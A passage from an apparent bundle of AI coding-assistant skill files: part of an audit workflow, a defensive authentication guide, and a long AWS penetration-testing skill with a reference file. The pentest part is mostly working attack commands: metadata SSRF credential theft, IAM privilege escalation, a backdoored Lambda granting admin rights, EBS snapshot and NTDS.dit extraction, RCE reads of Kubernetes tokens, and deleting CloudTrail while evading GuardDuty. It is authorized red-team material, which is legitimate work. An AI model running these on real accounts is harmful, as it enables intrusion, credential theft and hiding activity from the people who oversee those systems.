parent session winner      |\n| tuples   | Parent flow                             | All tuples from winning flow kept |\n| edges    | Both endpoint tuples                    | Kept if both endpoints survive    |\n| findings | `(session_name, category, description)` | Dedup by content                  |\n\nAll INTEGER PKs remapped sequentially. Foreign keys updated.\n\n### CSV Backup (Optional)\n\nCSV export/import still available for portability and backup:\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py csv-export   # DB → .audit/csv/*.csv (QUOTE_ALL)\npython .claude/skills/audit-flow/scripts/audit.py csv-import   # CSV → DB (recreates from scratch)\n```\n\n---\n\n## Output Quality\n\n**Principles:**\n\n- ASCII sequence diagrams for complex flows\n- Side-by-side tables for alternatives\n- Real code from traced files with `file:line` references\n- What/Why/Example pattern\n- No generic templates\n\n## Completion Checklist\n\n- [ ] Directory exists with ISO date suffix\n- [ ] INDEX.md manifest generated\n- [ ] README.md (executive summary)\n- [ ] Naming convention: `{name}-{type}.md`\n- [ ] Artifacts in typed subdirectories (lazy init)\n- [ ] Git context captured\n- [ ] Git merge driver configured (`audit.py git-setup`)\n- [ ] No orphaned files\n- [ ] Diagrams pass `audit.py validate`\n\n## Anti-Patterns\n\nFlat structure, empty directories, orphan nodes, unlabeled branches, generic identifiers, missing git context, no manifest, hand-crafted mermaid, bare-verb labels.\n","skills/authentication-patterns/SKILL.md":"---\nname: authentication-patterns\ndescription: \"Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use when implementing auth, reviewing auth flows, or choosing auth providers.\"\n---\n\n# Authentication Patterns Skill\n\nReference for implementing secure, production-ready authentication.\n\n## WHEN_TO_USE\n\nApply this skill when implementing authentication in a project, reviewing existing auth flows for security issues, choosing between auth providers, or migrating between auth strategies. Use the security checklist before shipping any auth-related change.\n\n## AUTH_APPROACHES\n\n| Approach | How It Works | Best For | Drawbacks |\n|----------|-------------|----------|-----------|\n| Session-based | Server stores session in DB/Redis, client holds session ID cookie | Traditional server-rendered apps, apps needing instant revocation | Requires server-side storage, harder to scale horizontally without shared store |\n| JWT (stateless) | Server signs token, client sends it on each request | API-first apps, microservices, mobile clients | Cannot revoke without blocklist, token size grows with claims |\n| OAuth 2.0 / OIDC | Delegates auth to external provider (Google, GitHub, etc.) | Social login, enterprise SSO, reducing auth responsibility | More complex flow, depends on external provider availability |\n| Passkeys / WebAuthn | Cryptographic key pair, no passwords | High-security apps, passwordless UX | Limited browser support legacy, user education needed |\n\n### Decision Guide\n\n- **Server-rendered app with simple needs** → Session-based\n- **SPA or mobile app calling APIs** → JWT with refresh token rotation\n- **Want social login or SSO** → OAuth 2.0 / OIDC\n- **Greenfield with modern UX goals** → Passkeys + OAuth fallback\n\n## JWT_BEST_PRACTICES\n\n### Token Lifecycle\n\n```\nLogin → Access Token (short-lived) + Refresh Token (long-lived, rotated)\n  │\n  ├─ Access Token: 15 min expiry, sent via httpOnly cookie or Authorization header\n  │\n  └─ Refresh Token: 7-30 day expiry, stored in httpOnly secure cookie\n       │\n       └─ On use: issue new access + new refresh token, invalidate old refresh token\n```\n\n### Rules\n\n- [P0-MUST] Set short expiry on access tokens (15 minutes or less).\n- [P0-MUST] Store tokens in `httpOnly`, `Secure`, `SameSite=Lax` cookies — never in `localStorage` or `sessionStorage`.\n- [P0-MUST] Implement refresh token rotation — each refresh token is single-use.\n- [P0-MUST] Maintain a server-side blocklist for revoked refresh tokens.\n- [P1-SHOULD] Include only essential claims in JWT payload (sub, iat, exp, role). Keep it small.\n- [P1-SHOULD] Use asymmetric signing (RS256 or ES256) for distributed systems; symmetric (HS256) for single-service only.\n- [P1-SHOULD] Validate `iss`, `aud`, and `exp` claims on every request.\n- [P2-MAY] Use JWE (encrypted JWT) when token payload contains sensitive data.\n\n### Token Storage Comparison\n\n| Storage | XSS Safe | CSRF Safe | Recommendation |\n|---------|----------|-----------|----------------|\n| `httpOnly` cookie | Yes | No (needs CSRF token) | Recommended |\n| `localStorage` | No | Yes | Never use for auth tokens |\n| `sessionStorage` | No | Yes | Never use for auth tokens |\n| In-memory (JS variable) | Yes | Yes | OK for SPAs, lost on refresh |\n\n## PROVIDER_PATTERNS\n\n### Comparison\n\n| Provider | Type | Best For | Pricing | Key Features |\n|----------|------|----------|---------|-------------|\n| NextAuth / Auth.js | OSS library | Next.js apps wanting full control | Free | 80+ providers, DB adapters, self-hosted |\n| Clerk | Managed service | Fast launch, pre-built UI, user management | Free tier, then per-MAU | Drop-in components, user dashboard, org support |\n| Supabase Auth | Managed (part of Supabase) | Apps already using Supabase for DB/storage | Free tier, then per-MAU | Row-level security integration, magic links, SSO |\n| Lucia | OSS library | Full control, minimal abstraction | Free | Session-based, framework-agnostic, type-safe |\n\n### When to Use Each\n\n- **NextAuth / Auth.js**: You want provider flexibility, self-hosting, and database session control. Best when you need custom flows.\n- **Clerk**: You want auth done fast with pre-built UI components. Best for MVPs and teams that don't want to build auth UI.\n- **Supabase Auth**: You're already using Supabase. Auth integrates with RLS policies for row-level security.\n- **Lucia**: You want a minimal, type-safe session library without framework lock-in.\n\n### NextAuth.js Setup Pattern\n\n```typescript\n// app/api/auth/[...nextauth]/route.ts\nimport NextAuth from \"next-auth\";\nimport GitHub from \"next-auth/providers/github\";\nimport { PrismaAdapter } from \"@auth/prisma-adapter\";\nimport { prisma } from \"@/lib/prisma\";\n\nexport const { handlers, auth, signIn, signOut } = NextAuth({\n  adapter: PrismaAdapter(prisma),\n  providers: [\n    GitHub({\n      clientId: process.env.GITHUB_CLIENT_ID!,\n      clientSecret: process.env.GITHUB_CLIENT_SECRET!,\n    }),\n  ],\n  callbacks: {\n    session({ session, user }) {\n      session.user.id = user.id;\n      return session;\n    },\n  },\n});\n```\n\n## SECURITY_CHECKLIST\n\n### Before Shipping Auth\n\n- [ ] **Rate limiting**: Login endpoint limited to 5-10 attempts per minute per IP.\n- [ ] **CSRF protection**: Anti-CSRF tokens on all state-changing requests (or use `SameSite=Lax` cookies).\n- [ ] **Password hashing**: Using bcrypt (cost 12+) or argon2id — never MD5, SHA-1, or plain SHA-256.\n- [ ] **HTTPS only**: All auth endpoints served over TLS. Cookies have `Secure` flag.\n- [ ] **Input validation**: Email format, password length (min 8, max 128), no SQL/NoSQL injection vectors.\n- [ ] **Account enumeration**: Login and registration return the same response whether account exists or not.\n- [ ] **Session invalidation**: Logout invalidates server-side session/refresh token, not just client cookie.\n- [ ] **MFA support**: TOTP (authenticator app) or WebAuthn as second factor for sensitive accounts.\n- [ ] **Password reset**: Time-limited tokens (1 hour), single-use, sent over secure channel.\n- [ ] **Audit logging**: Log auth events (login, logout, failed attempts, password changes) with timestamp and IP.\n\n### Password Hashing\n\n```typescript\n// Using bcrypt\nimport bcrypt from \"bcrypt\";\n\nconst SALT_ROUNDS = 12;\n\nasync function hashPassword(password: string): Promise<string> {\n  return bcrypt.hash(password, SALT_ROUNDS);\n}\n\nasync function verifyPassword(password: string, hash: string): Promise<boolean> {\n  return bcrypt.compare(password, hash);\n}\n```\n\n```typescript\n// Using argon2 (preferred for new projects)\nimport argon2 from \"argon2\";\n\nasync function hashPassword(password: string): Promise<string> {\n  return argon2.hash(password, { type: argon2.argon2id });\n}\n\nasync function verifyPassword(hash: string, password: string): Promise<boolean> {\n  return argon2.verify(hash, password);\n}\n```\n\n## COMMON_MISTAKES\n\n| Mistake | Risk | Fix |\n|---------|------|-----|\n| Storing JWT in `localStorage` | XSS can steal tokens | Use `httpOnly` cookies |\n| Long-lived JWTs (days/weeks) | Stolen token is valid for extended period | 15 min access token + refresh rotation |\n| Missing CSRF protection | Attackers can forge requests from other sites | `SameSite=Lax` cookies + CSRF token |\n| Weak password requirements | Brute force and credential stuffing | Min 8 chars, check against breached password lists |\n| Exposing user existence on login | Account enumeration | Generic \"Invalid credentials\" message |\n| Not rotating refresh tokens | Stolen refresh token grants indefinite access | Single-use refresh tokens with rotation |\n| Hardcoding secrets in source | Credential leak via git history | Use environment variables, never commit secrets |\n| Missing rate limiting on login | Brute force attacks | 5-10 attempts/min per IP, exponential backoff |\n| Rolling your own crypto | Subtle vulnerabilities | Use established libraries (bcrypt, argon2, jose) |\n| Not validating JWT claims | Token misuse across services | Always verify `iss`, `aud`, `exp` |\n","skills/aws-penetration-testing/SKILL.md":"---\nname: aws-penetration-testing\ndescription: This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# AWS Penetration Testing\n\n## Purpose\n\nProvide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.\n\n## Inputs/Prerequisites\n\n- AWS CLI configured with credentials\n- Valid AWS credentials (even low-privilege)\n- Understanding of AWS IAM model\n- Python 3, boto3 library\n- Tools: Pacu, Prowler, ScoutSuite, SkyArk\n\n## Outputs/Deliverables\n\n- IAM privilege escalation paths\n- Extracted credentials and secrets\n- Compromised EC2/Lambda/S3 resources\n- Persistence mechanisms\n- Security audit findings\n\n---\n\n## Essential Tools\n\n| Tool | Purpose | Installation |\n|------|---------|--------------|\n| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |\n| SkyArk | Shadow Admin discovery | `Import-Module .\\SkyArk.ps1` |\n| Prowler | Security auditing | `pip install prowler` |\n| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` |\n| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |\n| Principal Mapper | IAM analysis | `pip install principalmapper` |\n\n---\n\n## Core Workflow\n\n### Step 1: Initial Enumeration\n\nIdentify the compromised identity and permissions:\n\n```bash\n# Check current identity\naws sts get-caller-identity\n\n# Configure profile\naws configure --profile compromised\n\n# List access keys\naws iam list-access-keys\n\n# Enumerate permissions\n./enumerate-iam.py --access-key AKIA... --secret-key StF0q...\n```\n\n### Step 2: IAM Enumeration\n\n```bash\n# List all users\naws iam list-users\n\n# List groups for user\naws iam list-groups-for-user --user-name TARGET_USER\n\n# List attached policies\naws iam list-attached-user-policies --user-name TARGET_USER\n\n# List inline policies\naws iam list-user-policies --user-name TARGET_USER\n\n# Get policy details\naws iam get-policy --policy-arn POLICY_ARN\naws iam get-policy-version --policy-arn POLICY_ARN --version-id v1\n\n# List roles\naws iam list-roles\naws iam list-attached-role-policies --role-name ROLE_NAME\n```\n\n### Step 3: Metadata SSRF (EC2)\n\nExploit SSRF to access metadata endpoint (IMDSv1):\n\n```bash\n# Access metadata endpoint\nhttp://169.254.169.254/latest/meta-data/\n\n# Get IAM role name\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# Extract temporary credentials\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME\n\n# Response contains:\n{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",\n  \"Expiration\": \"2019-08-01T05:20:30Z\"\n}\n```\n\n**For IMDSv2 (token required):**\n\n```bash\n# Get token first\nTOKEN=$(curl -X PUT -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \\\n  \"http://169.254.169.254/latest/api/token\")\n\n# Use token for requests\ncurl -H \"X-aws-ec2-metadata-token:$TOKEN\" \\\n  \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\n**Fargate Container Credentials:**\n\n```bash\n# Read environment for credential path\n/proc/self/environ\n# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...\n\n# Access credentials\nhttp://169.254.170.2/v2/credentials/CREDENTIAL-PATH\n```\n\n---\n\n## Privilege Escalation Techniques\n\n### Shadow Admin Permissions\n\nThese permissions are equivalent to administrator:\n\n| Permission | Exploitation |\n|------------|--------------|\n| `iam:CreateAccessKey` | Create keys for admin user |\n| `iam:CreateLoginProfile` | Set password for any user |\n| `iam:AttachUserPolicy` | Attach admin policy to self |\n| `iam:PutUserPolicy` | Add inline admin policy |\n| `iam:AddUserToGroup` | Add self to admin group |\n| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |\n| `lambda:UpdateFunctionCode` | Inject code into Lambda |\n\n### Create Access Key for Another User\n\n```bash\naws iam create-access-key --user-name target_user\n```\n\n### Attach Admin Policy\n\n```bash\naws iam attach-user-policy --user-name my_username \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\n### Add Inline Admin Policy\n\n```bash\naws iam put-user-policy --user-name my_username \\\n  --policy-name admin_policy \\\n  --policy-document file://admin-policy.json\n```\n\n### Lambda Privilege Escalation\n\n```python\n# code.py - Inject into Lambda function\nimport boto3\n\ndef lambda_handler(event, context):\n    client = boto3.client('iam')\n    response = client.attach_user_policy(\n        UserName='my_username',\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n    )\n    return response\n```\n\n```bash\n# Update Lambda code\naws lambda update-function-code --function-name target_function \\\n  --zip-file fileb://malicious.zip\n```\n\n---\n\n## S3 Bucket Exploitation\n\n### Bucket Discovery\n\n```bash\n# Using bucket_finder\n./bucket_finder.rb wordlist.txt\n./bucket_finder.rb --download --region us-east-1 wordlist.txt\n\n# Common bucket URL patterns\nhttps://{bucket-name}.s3.amazonaws.com\nhttps://s3.amazonaws.com/{bucket-name}\n```\n\n### Bucket Enumeration\n\n```bash\n# List buckets (with creds)\naws s3 ls\n\n# List bucket contents\naws s3 ls s3://bucket-name --recursive\n\n# Download all files\naws s3 sync s3://bucket-name ./local-folder\n```\n\n### Public Bucket Search\n\n```\nhttps://buckets.grayhatwarfare.com/\n```\n\n---\n\n## Lambda Exploitation\n\n```bash\n# List Lambda functions\naws lambda list-functions\n\n# Get function code\naws lambda get-function --function-name FUNCTION_NAME\n# Download URL provided in response\n\n# Invoke function\naws lambda invoke --function-name FUNCTION_NAME output.txt\n```\n\n---\n\n## SSM Command Execution\n\nSystems Manager allows command execution on EC2 instances:\n\n```bash\n# List managed instances\naws ssm describe-instance-information\n\n# Execute command\naws ssm send-command --instance-ids \"i-0123456789\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=\"whoami\"\n\n# Get command output\naws ssm list-command-invocations --command-id \"CMD-ID\" \\\n  --details --query \"CommandInvocations[].CommandPlugins[].Output\"\n```\n\n---\n\n## EC2 Exploitation\n\n### Mount EBS Volume\n\n```bash\n# Create snapshot of target volume\naws ec2 create-snapshot --volume-id vol-xxx --description \"Audit\"\n\n# Create volume from snapshot\naws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a\n\n# Attach to attacker instance\naws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf\n\n# Mount and access\nsudo mkdir /mnt/stolen\nsudo mount /dev/xvdf1 /mnt/stolen\n```\n\n### Shadow Copy Attack (Windows DC)\n\n```bash\n# CloudCopy technique\n# 1. Create snapshot of DC volume\n# 2. Share snapshot with attacker account\n# 3. Mount in attacker instance\n# 4. Extract NTDS.dit and SYSTEM\nsecretsdump.py -system ./SYSTEM -ntds ./ntds.dit local\n```\n\n---\n\n## Console Access from API Keys\n\nConvert CLI credentials to console access:\n\n```bash\ngit clone https://github.com/NetSPI/aws_consoler\naws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY\n\n# Generates signin URL for console access\n```\n\n---\n\n## Covering Tracks\n\n### Disable CloudTrail\n\n```bash\n# Delete trail\naws cloudtrail delete-trail --name trail_name\n\n# Disable global events\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events\n\n# Disable specific region\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events --no-is-multi-region-trail\n```\n\n**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.\n\n---\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Get identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List roles | `aws iam list-roles` |\n| List buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |\n\n---\n\n## Constraints\n\n**Must:**\n- Obtain written authorization before testing\n- Document all actions for audit trail\n- Test in scope resources only\n\n**Must Not:**\n- Modify production data without approval\n- Leave persistent backdoors without documentation\n- Disable security controls permanently\n\n**Should:**\n- Check for IMDSv2 before attempting metadata attacks\n- Enumerate thoroughly before exploitation\n- Clean up test resources after engagement\n\n---\n\n## Examples\n\n### Example 1: SSRF to Admin\n\n```bash\n# 1. Find SSRF vulnerability in web app\nhttps://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# 2. Get role name from response\n# 3. Extract credentials\nhttps://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole\n\n# 4. Configure AWS CLI with stolen creds\nexport AWS_ACCESS_KEY_ID=ASIA...\nexport AWS_SECRET_ACCESS_KEY=...\nexport AWS_SESSION_TOKEN=...\n\n# 5. Verify access\naws sts get-caller-identity\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Access Denied on all commands | Enumerate permissions with enumerate-iam |\n| Metadata endpoint blocked | Check for IMDSv2, try container metadata |\n| GuardDuty alerts | Use Pacu with custom user-agent |\n| Expired credentials | Re-fetch from metadata (temp creds rotate) |\n| CloudTrail logging actions | Consider disable or log obfuscation |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see [references/advanced-aws-pentesting.md](references/advanced-aws-pentesting.md).\n","skills/aws-penetration-testing/references/advanced-aws-pentesting.md":"# Advanced AWS Penetration Testing Reference\r\n\r\n## Table of Contents\r\n- [Training Resources](#training-resources)\r\n- [Extended Tools Arsenal](#extended-tools-arsenal)\r\n- [AWS API Calls That Return Credentials](#aws-api-calls-that-return-credentials)\r\n- [Lambda & API Gateway](#lambda--api-gateway)\r\n- [Secrets Manager & KMS](#secrets-manager--kms)\r\n- [Container Security (ECS/EKS/ECR)](#container-security-ecseksecr)\r\n- [RDS Database Exploitation](#rds-database-exploitation)\r\n- [DynamoDB Exploitation](#dynamodb-exploitation)\r\n- [VPC Enumeration & Lateral Movement](#vpc-enumeration--lateral-movement)\r\n- [Security Checklist](#security-checklist)\r\n\r\n---\r\n\r\n## Training Resources\r\n\r\n| Resource | Description | URL |\r\n|----------|-------------|-----|\r\n| AWSGoat | Damn Vulnerable AWS Infrastructure | github.com/ine-labs/AWSGoat |\r\n| Cloudgoat | AWS CTF-style scenario | github.com/RhinoSecurityLabs/cloudgoat |\r\n| Flaws | AWS security challenge | flaws.cloud |\r\n| SadCloud | Terraform for vuln AWS | github.com/nccgroup/sadcloud |\r\n| DVCA | Vulnerable Cloud App | medium.com/poka-techblog |\r\n\r\n---\r\n\r\n## Extended Tools Arsenal\r\n\r\n### weirdAAL - AWS Attack Library\r\n```bash\r\npython3 weirdAAL.py -m ec2_describe_instances -t demo\r\npython3 weirdAAL.py -m lambda_get_account_settings -t demo\r\npython3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2'\r\n```\r\n\r\n### cloudmapper - AWS Environment Analyzer\r\n```bash\r\ngit clone https://github.com/duo-labs/cloudmapper.git\r\npipenv install --skip-lock\r\npipenv shell\r\n\r\n# Commands\r\nreport     # Generate HTML report\r\niam_report # IAM-specific report\r\naudit      # Check misconfigurations\r\ncollect    # Collect account metadata\r\nfind_admins # Identify admin users/roles\r\n```\r\n\r\n### cloudsplaining - IAM Security Assessment\r\n```bash\r\npip3 install --user cloudsplaining\r\ncloudsplaining download --profile myawsprofile\r\ncloudsplaining scan --input-file default.json\r\n```\r\n\r\n### s3_objects_check - S3 Object Permissions\r\n```bash\r\ngit clone https://github.com/nccgroup/s3_objects_check\r\npython s3-objects-check.py -p whitebox-profile -e blackbox-profile\r\n```\r\n\r\n### dufflebag - Find EBS Secrets\r\n```bash\r\n# Finds secrets exposed via Amazon EBS's \"public\" mode\r\ngit clone https://github.com/BishopFox/dufflebag\r\n```\r\n\r\n---\r\n\r\n## AWS API Calls That Return Credentials\r\n\r\n| API Call | Description |\r\n|----------|-------------|\r\n| `chime:createapikey` | Create API key |\r\n| `codepipeline:pollforjobs` | Poll for jobs |\r\n| `cognito-identity:getopenidtoken` | Get OpenID token |\r\n| `cognito-identity:getcredentialsforidentity` | Get identity credentials |\r\n| `connect:getfederationtoken` | Get federation token |\r\n| `ecr:getauthorizationtoken` | ECR auth token |\r\n| `gamelift:requestuploadcredentials` | GameLift upload creds |\r\n| `iam:createaccesskey` | Create access key |\r\n| `iam:createloginprofile` | Create login profile |\r\n| `iam:createservicespecificcredential` | Service-specific creds |\r\n| `lightsail:getinstanceaccessdetails` | Instance access details |\r\n| `lightsail:getrelationaldatabasemasteruserpassword` | DB master password |\r\n| `rds-db:connect` | RDS connect |\r\n| `redshift:getclustercredentials` | Redshift credentials |\r\n| `sso:getrolecredentials` | SSO role credentials |\r\n| `sts:assumerole` | Assume role |\r\n| `sts:assumerolewithsaml` | Assume role with SAML |\r\n| `sts:assumerolewithwebidentity` | Web identity assume |\r\n| `sts:getfederationtoken` | Federation token |\r\n| `sts:getsessiontoken` | Session token |\r\n\r\n---\r\n\r\n## Lambda & API Gateway\r\n\r\n### Lambda Enumeration\r\n\r\n```bash\r\n# List all lambda functions\r\naws lambda list-functions\r\n\r\n# Get function details and download code\r\naws lambda get-function --function-name FUNCTION_NAME\r\nwget -O lambda-function.zip \"url-from-previous-query\"\r\n\r\n# Get function policy\r\naws lambda get-policy --function-name FUNCTION_NAME\r\n\r\n# List event source mappings\r\naws lambda list-event-source-mappings --function-name FUNCTION_NAME\r\n\r\n# List Lambda layers (dependencies)\r\naws lambda list-layers\r\naws lambda get-layer-version --layer-name NAME --version-number VERSION\r\n```\r\n\r\n### API Gateway Enumeration\r\n\r\n```bash\r\n# List REST APIs\r\naws apigateway get-rest-apis\r\n\r\n# Get specific API info\r\naws apigateway get-rest-api --rest-api-id ID\r\n\r\n# List endpoints (resources)\r\naws apigateway get-resources --rest-api-id ID\r\n\r\n# Get method info\r\naws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET\r\n\r\n# List API versions (stages)\r\naws apigateway get-stages --rest-api-id ID\r\n\r\n# List API keys\r\naws apigateway get-api-keys --include-values\r\n```\r\n\r\n### Lambda Credential Access\r\n\r\n```bash\r\n# Via RCE - get environment variables\r\nhttps://apigateway/prod/system?cmd=env\r\n\r\n# Via SSRF - access runtime API\r\nhttps://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/\r\n\r\n# Via file read\r\nhttps://apigateway/prod/system?cmd=file:///proc/self/environ\r\n```\r\n\r\n### Lambda Backdooring\r\n\r\n```python\r\n# Malicious Lambda code to escalate privileges\r\nimport boto3\r\nimport json\r\n\r\ndef handler(event, context):\r\n    iam = boto3.client(\"iam\")\r\n    iam.attach_role_policy(\r\n        RoleName=\"role_name\",\r\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\r\n    )\r\n    iam.attach_user_policy(\r\n        UserName=\"user_name\",\r\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\r\n    )\r\n    return {'statusCode': 200, 'body': json.dumps(\"Pwned\")}\r\n```\r\n\r\n```bash\r\n# Update function with backdoor\r\naws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip\r\n\r\n# Invoke backdoored function\r\ncurl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT\r\n```\r\n\r\n---\r\n\r\n## Secrets Manager & KMS\r\n\r\n### Secrets Manager Enumeration\r\n\r\n```bash\r\n# List all secrets\r\naws secretsmanager list-secrets\r\n\r\n# Describe specific secret\r\naws secretsmanager describe-secret --secret-id NAME\r\n\r\n# Get resource policy\r\naws secretsmanager get-resource-policy --secret-id ID\r\n\r\n# Retrieve secret value\r\naws secretsmanager get-secret-value --secret-id ID\r\n```\r\n\r\n### KMS Enumeration\r\n\r\n```bash\r\n# List KMS keys\r\naws kms list-keys\r\n\r\n# Describe key\r\naws kms describe-key --key-id ID\r\n\r\n# List key policies\r\naws kms list-key-policies --key-id ID\r\n\r\n# Get full policy\r\naws kms get-key-policy --policy-name NAME --key-id ID\r\n```\r\n\r\n### KMS Decryption\r\n\r\n```bash\r\n# Decrypt file (key info embedded in ciphertext)\r\naws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext\r\n```\r\n\r\n---\r\n\r\n## Container Security (ECS/EKS/ECR)\r\n\r\n### ECR Enumeration\r\n\r\n```bash\r\n# List repositories\r\naws ecr describe-repositories\r\n\r\n# Get repository policy\r\naws ecr get-repository-policy --repository-name NAME\r\n\r\n# List images\r\naws ecr list-images --repository-name NAME\r\n\r\n# Describe image\r\naws ecr describe-images --repository-name NAME --image-ids imageTag=TAG\r\n```\r\n\r\n### ECS Enumeration\r\n\r\n```bash\r\n# List clusters\r\naws ecs list-clusters\r\n\r\n# Describe cluster\r\naws ecs describe-clusters --cluster NAME\r\n\r\n# List services\r\naws ecs list-services --cluster NAME\r\n\r\n# Describe service\r\naws ecs describe-services --cluster NAME --services SERVICE\r\n\r\n# List tasks\r\naws ecs list-tasks --cluster NAME\r\n\r\n# Describe task (shows network info for pivoting)\r\naws ecs describe-tasks --cluster NAME --tasks TASK_ARN\r\n\r\n# List container instances\r\naws ecs list-container-instances --cluster NAME\r\n```\r\n\r\n### EKS Enumeration\r\n\r\n```bash\r\n# List EKS clusters\r\naws eks list-clusters\r\n\r\n# Describe cluster\r\naws eks describe-cluster --name NAME\r\n\r\n# List node groups\r\naws eks list-nodegroups --cluster-name NAME\r\n\r\n# Describe node group\r\naws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME\r\n\r\n# List Fargate profiles\r\naws eks list-fargate-profiles --cluster-name NAME\r\n```\r\n\r\n### Container Backdooring\r\n\r\n```bash\r\n# Authenticate Docker to ECR\r\naws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR\r\n\r\n# Build backdoored image\r\ndocker build -t image_name .\r\n\r\n# Tag for ECR\r\ndocker tag image_name ECR_ADDR:IMAGE_NAME\r\n\r\n# Push to ECR\r\ndocker push ECR_ADDR:IMAGE_NAME\r\n```\r\n\r\n### EKS Secrets via RCE\r\n\r\n```bash\r\n# List Kubernetes secrets\r\nhttps://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount\r\n\r\n# Get service account token\r\nhttps://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token\r\n```\r\n\r\n---\r\n\r\n## RDS Database Exploitation\r\n\r\n### RDS Enumeration\r\n\r\n```bash\r\n# List RDS clusters\r\naws rds describe-db-clusters\r\n\r\n# List RDS instances\r\naws rds describe-db-instances\r\n# Check: IAMDatabaseAuthenticationEnabled: false = password auth\r\n\r\n# List subnet groups\r\naws rds describe-db-subnet-groups\r\n\r\n# List security groups\r\naws rds describe-db-security-groups\r\n\r\n# List proxies\r\naws rds describe-db-proxies\r\n```\r\n\r\n### Password-Based Access\r\n\r\n```bash\r\nmysql -h HOSTNAME -u USERNAME -P PORT -p\r\n```\r\n\r\n### IAM-Based Access\r\n\r\n```bash\r\n# Generate auth token\r\nTOKEN=$(aws rds generate-db-auth-token \\\r\n  --hostname HOSTNAME \\\r\n  --port PORT \\\r\n  --username USERNAME \\\r\n  --region REGION)\r\n\r\n# Connect with token\r\nmysql -h HOSTNAME -u USERNAME -P PORT \\\r\n  --enable-cleartext-plugin --password=$TOKEN\r\n```\r\n\r\n---\r\n\r\n## DynamoDB Exploitation\r\n\r\n```bash\r\n# List tables\r\naws dynamodb list-tables\r\n\r\n# Scan table contents\r\naws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]'\r\n\r\n# Query specific items\r\naws dynamodb query --table-name TABLE_NAME \\\r\n  --key-condition-expression \"pk = :pk\" \\\r\n  --expression-attribute-values '{\":pk\":{\"S\":\"user\"}}'\r\n```\r\n\r\n---\r\n\r\n## VPC Enumeration & Lateral Movement\r\n\r\n### VPC Enumeration\r\n\r\n```bash\r\n# List VPCs\r\naws ec2 describe-vpcs\r\n\r\n# List subnets\r\naws ec2 describe-subnets --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List route tables\r\naws ec2 describe-route-tables --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List Network ACLs\r\naws ec2 describe-network-acls\r\n\r\n# List VPC peering connections\r\naws ec2 describe-vpc-peering-connections\r\n```\r\n\r\n### Route Table Targets\r\n\r\n| Destination | Target | Description |\r\n|-------------|--------|-------------|\r\n| IP | `local` | VPC internal |\r\n| IP | `igw` | Internet Gateway |\r\n| IP | `nat` | NAT Gateway |\r\n| IP | `pcx` | VPC Peering |\r\n| IP | `vpce` | VPC Endpoint |\r\n| IP | `vgw` | VPN Gateway |\r\n| IP | `eni` | Network Interface |\r\n\r\n### Lateral Movement via VPC Peering\r\n\r\n```bash\r\n# List peering connections\r\naws ec2 describe-vpc-peering-connections\r\n\r\n# List instances in target VPC\r\naws ec2 describe-instances --filters \"Name=vpc-id,Values=VPC_ID\"\r\n\r\n# List instances in specific subnet\r\naws ec2 describe-instances --filters \"Name=subnet-id,Values=SUBNET_ID\"\r\n```\r\n\r\n---\r\n\r\n## Security Checklist\r\n\r\n### Identity and Access Management\r\n- [ ] 